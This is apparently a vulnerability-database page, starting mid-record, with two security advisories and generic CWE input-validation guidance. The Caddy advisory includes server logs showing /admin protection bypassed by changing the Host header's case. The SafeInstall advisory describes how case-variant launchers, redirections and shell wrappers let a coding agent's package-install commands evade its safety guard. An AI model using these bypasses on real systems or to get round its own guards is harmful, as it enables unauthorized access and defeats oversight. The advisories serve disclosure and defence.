inconsistencies\",\"adapter\":\"caddyfile\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\",\"line\":2}\n{\"level\":\"info\",\"ts\":1770588548.0139973,\"logger\":\"admin\",\"msg\":\"admin endpoint started\",\"address\":\"localhost:2019\",\"enforce_origin\":false,\"origins\":[\"//127.0.0.1:2019\",\"//localhost:2019\",\"//[::1]:2019\"]}\n{\"level\":\"debug\",\"ts\":1770588548.0140707,\"logger\":\"http.auto_https\",\"msg\":\"adjusted config\",\"tls\":{\"automation\":{\"policies\":[{}]}},\"http\":{\"servers\":{\"srv0\":{\"listen\":[\":8080\"],\"routes\":[{\"handle\":[{\"handler\":\"subroute\",\"routes\":[{\"handle\":[{\"body\":\"DENY\",\"handler\":\"static_response\",\"status_code\":403}],\"match\":[{\"host\":[\"h001.test\",\"h002.test\",\"h003.test\",\"h004.test\",\"h005.test\",\"h006.test\",\"h007.test\",\"h008.test\",\"h009.test\",\"h010.test\",\"h011.test\",\"h012.test\",\"h013.test\",\"h014.test\",\"h015.test\",\"h016.test\",\"h017.test\",\"h018.test\",\"h019.test\",\"h020.test\",\"h021.test\",\"h022.test\",\"h023.test\",\"h024.test\",\"h025.test\",\"h026.test\",\"h027.test\",\"h028.test\",\"h029.test\",\"h030.test\",\"h031.test\",\"h032.test\",\"h033.test\",\"h034.test\",\"h035.test\",\"h036.test\",\"h037.test\",\"h038.test\",\"h039.test\",\"h040.test\",\"h041.test\",\"h042.test\",\"h043.test\",\"h044.test\",\"h045.test\",\"h046.test\",\"h047.test\",\"h048.test\",\"h049.test\",\"h050.test\",\"h051.test\",\"h052.test\",\"h053.test\",\"h054.test\",\"h055.test\",\"h056.test\",\"h057.test\",\"h058.test\",\"h059.test\",\"h060.test\",\"h061.test\",\"h062.test\",\"h063.test\",\"h064.test\",\"h065.test\",\"h066.test\",\"h067.test\",\"h068.test\",\"h069.test\",\"h070.test\",\"h071.test\",\"h072.test\",\"h073.test\",\"h074.test\",\"h075.test\",\"h076.test\",\"h077.test\",\"h078.test\",\"h079.test\",\"h080.test\",\"h081.test\",\"h082.test\",\"h083.test\",\"h084.test\",\"h085.test\",\"h086.test\",\"h087.test\",\"h088.test\",\"h089.test\",\"h090.test\",\"h091.test\",\"h092.test\",\"h093.test\",\"h094.test\",\"h095.test\",\"h096.test\",\"h097.test\",\"h098.test\",\"h099.test\",\"h100.test\",\"h101.test\"],\"path\":[\"/admin\"]}]},{\"handle\":[{\"body\":\"ALLOW\",\"handler\":\"static_response\",\"status_code\":200}]}]}],\"terminal\":true}],\"automatic_https\":{},\"logs\":{}}}}}\n{\"level\":\"info\",\"ts\":1770588548.0143135,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0xc0000d7c80\"}\n{\"level\":\"debug\",\"ts\":1770588548.0143793,\"logger\":\"http\",\"msg\":\"starting server loop\",\"address\":\"[::]:8080\",\"tls\":false,\"http3\":false}\n{\"level\":\"warn\",\"ts\":1770588548.014415,\"logger\":\"http\",\"msg\":\"HTTP/2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1770588548.0144184,\"logger\":\"http\",\"msg\":\"HTTP/3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1770588548.0144203,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"debug\",\"ts\":1770588548.014438,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"started\",\"id\":\"1c7f6534-d264-456d-988d-e9f77a099c42\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588548.0145273,\"msg\":\"autosaved config (load with --resume flag)\",\"file\":\"/home/vh/.config/caddy/autosave.json\"}\n{\"level\":\"info\",\"ts\":1770588548.0145316,\"msg\":\"serving initial configuration\"}\n{\"level\":\"info\",\"ts\":1770588548.0274432,\"logger\":\"tls\",\"msg\":\"storage cleaning happened too recently; skipping for now\",\"storage\":\"FileStorage:/home/vh/.local/share/caddy\",\"instance\":\"a259f82d-3c7c-4706-9ca8-17456b4af729\",\"try_again\":1770674948.0274422,\"try_again_in\":86399.999999709}\n{\"level\":\"info\",\"ts\":1770588548.0275078,\"logger\":\"tls\",\"msg\":\"finished cleaning storage units\"}\n{\"level\":\"info\",\"ts\":1770588549.9694445,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53220\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"h050.test\",\"uri\":\"/admin\",\"headers\":{\"User-Agent\":[\"curl/8.15.0\"],\"Accept\":[\"*/*\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.000014857,\"size\":4,\"status\":403,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text/plain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9741833,\"logger\":\"http.log.access\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"53234\",\"client_ip\":\"127.0.0.1\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"H050.TEST\",\"uri\":\"/admin\",\"headers\":{\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.15.0\"]}},\"bytes_read\":0,\"user_id\":\"\",\"duration\":0.00000551,\"size\":5,\"status\":200,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"text/plain; charset=utf-8\"]}}\n{\"level\":\"info\",\"ts\":1770588549.9751372,\"msg\":\"shutting down apps, then terminating\",\"signal\":\"SIGTERM\"}\n{\"level\":\"warn\",\"ts\":1770588549.9751456,\"msg\":\"exiting; byeee!! \ud83d\udc4b\",\"signal\":\"SIGTERM\"}\n{\"level\":\"debug\",\"ts\":1770588549.9751775,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"stopping\",\"id\":\"e02c5e64-9d76-48b6-a967-4f003850bdd4\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770588549.9751873,\"logger\":\"http\",\"msg\":\"servers shutting down with eternal grace period\"}\n{\"level\":\"info\",\"ts\":1770588549.975331,\"logger\":\"admin\",\"msg\":\"stopped previous server\",\"address\":\"localhost:2019\"}\n{\"level\":\"info\",\"ts\":1770588549.9753368,\"msg\":\"shutdown complete\",\"signal\":\"SIGTERM\",\"exit_code\":0}\n```\n\u003c/details\u003e\n\n### Impact\nThis is a route/auth bypass in Caddy\u0027s request-matching layer. Any internet-exposed Caddy deployment that relies on `host` matchers with large host lists (\u003e100) to select protected routes (e.g. applying `basicauth`, `forward_auth`, `respond` deny rules, or protecting `reverse_proxy` backends) can be bypassed by varying the case of the `Host` header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.\n\nThe reproduction is minimal per the reporting guidance; a realistic \"full\" scenario is Caddy fronting a multi-tenant app and doing `forward_auth`/`basicauth`/`deny` for `/admin` only when host is in a big (\u003e100) allowlist, but the default handler still `reverse_proxy`ing to the same app. Then sending `Host: H050.TEST` skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --\u003e `/admin` is reachable without the intended guard.\n\n\n### AI Use Disclosure\nA custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.\n\n### Disclosure/crediting\n\nAsim Viladi Oglu Manizada",
"id": "GHSA-x76f-jf84-rqj8",
"modified": "2026-02-27T19:53:54Z",
"published": "2026-02-24T20:34:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-x76f-jf84-rqj8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27588"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/commit/eec32a0bb5a11651c6a7b04ce82dc50610f2b27e"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.1"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4541"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Caddy: MatchHost becomes case-sensitive for large host lists (\u003e100), enabling host-based route/auth bypass"
}
GHSA-XRMC-C5CG-RV7X
Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34Summary
SafeInstall CLI through 0.10.1 can fail to recognize some package-manager and registry-runner commands in its agent guard. Case-variant launcher names, leading file-descriptor redirections, and supported shell wrappers with options can cause a raw install command to receive no guard decision. Remote project scaffolding through package-manager create/init commands can also avoid the approval decision used for other registry runners.
Impact
When the SafeInstall guard is installed for a coding agent, a crafted shell command can bypass the intended deny or ask response. The coding agent may then run a package installation or registry-provided scaffolding command without SafeInstall policy evaluation and without SafeInstall enforcing disabled lifecycle scripts.
Exploitation requires a coding agent to act on attacker-influenced instructions and issue the crafted shell command. A successful malicious package or runner can execute with the permissions of the developer account, affecting the confidentiality, integrity, and availability of local source code, credentials, and development resources.
The vulnerability is limited to guard interception. Commands already routed through the SafeInstall CLI continue to receive normal policy evaluation.
Affected versions
- safeinstall-cli <= 0.10.1
Patched version
- safeinstall-cli 0.10.2
Fix
Version 0.10.2:
- normalizes package-manager and wrapper launcher names for detection and rewriting;
- parses leading redirections before classifying the command;
- handles supported wrapper option arity conservatively and fails closed on ambiguous embedded command syntax;
- routes remote create/init scaffolding through the registry-runner approval path;
- preserves SafeInstall routing for path-qualified package-manager invocations.
The patch includes a permanent regression corpus, table-driven parser characterization, an independent reference detector, and deterministic fuzz invariants. The integrated release candidate passed 626 tests, package smoke validation, and a one-million-command fuzz campaign with zero invariant violations.
Mitigation
Upgrade to safeinstall-cli 0.10.2 or later.
Until an upgrade is possible, manually review every coding-agent shell command and prevent the agent from invoking package managers or registry runners directly. Running an affected guard does not make raw package-manager execution safe.
Credits
Discovered, reproduced, and remediated by the SafeInstall maintainer during adversarial parser testing.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "safeinstall-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:34:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nSafeInstall CLI through 0.10.1 can fail to recognize some package-manager and registry-runner commands in its agent guard. Case-variant launcher names, leading file-descriptor redirections, and supported shell wrappers with options can cause a raw install command to receive no guard decision. Remote project scaffolding through package-manager create/init commands can also avoid the approval decision used for other registry runners.\n\n## Impact\n\nWhen the SafeInstall guard is installed for a coding agent, a crafted shell command can bypass the intended deny or ask response. The coding agent may then run a package installation or registry-provided scaffolding command without SafeInstall policy evaluation and without SafeInstall enforcing disabled lifecycle scripts.\n\nExploitation requires a coding agent to act on attacker-influenced instructions and issue the crafted shell command. A successful malicious package or runner can execute with the permissions of the developer account, affecting the confidentiality, integrity, and availability of local source code, credentials, and development resources.\n\nThe vulnerability is limited to guard interception. Commands already routed through the SafeInstall CLI continue to receive normal policy evaluation.\n\n## Affected versions\n\n- safeinstall-cli \u003c= 0.10.1\n\n## Patched version\n\n- safeinstall-cli 0.10.2\n\n## Fix\n\nVersion 0.10.2:\n\n- normalizes package-manager and wrapper launcher names for detection and rewriting;\n- parses leading redirections before classifying the command;\n- handles supported wrapper option arity conservatively and fails closed on ambiguous embedded command syntax;\n- routes remote create/init scaffolding through the registry-runner approval path;\n- preserves SafeInstall routing for path-qualified package-manager invocations.\n\nThe patch includes a permanent regression corpus, table-driven parser characterization, an independent reference detector, and deterministic fuzz invariants. The integrated release candidate passed 626 tests, package smoke validation, and a one-million-command fuzz campaign with zero invariant violations.\n\n## Mitigation\n\nUpgrade to safeinstall-cli 0.10.2 or later.\n\nUntil an upgrade is possible, manually review every coding-agent shell command and prevent the agent from invoking package managers or registry runners directly. Running an affected guard does not make raw package-manager execution safe.\n\n## Credits\n\nDiscovered, reproduced, and remediated by the SafeInstall maintainer during adversarial parser testing.",
"id": "GHSA-xrmc-c5cg-rv7x",
"modified": "2026-07-10T19:34:14Z",
"published": "2026-07-10T19:34:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Mickdownunder/SafeInstall/security/advisories/GHSA-xrmc-c5cg-rv7x"
},
{
"type": "PACKAGE",
"url": "https://github.com/Mickdownunder/SafeInstall"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SafeInstall agent guard shell parsing can miss raw package execution"
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.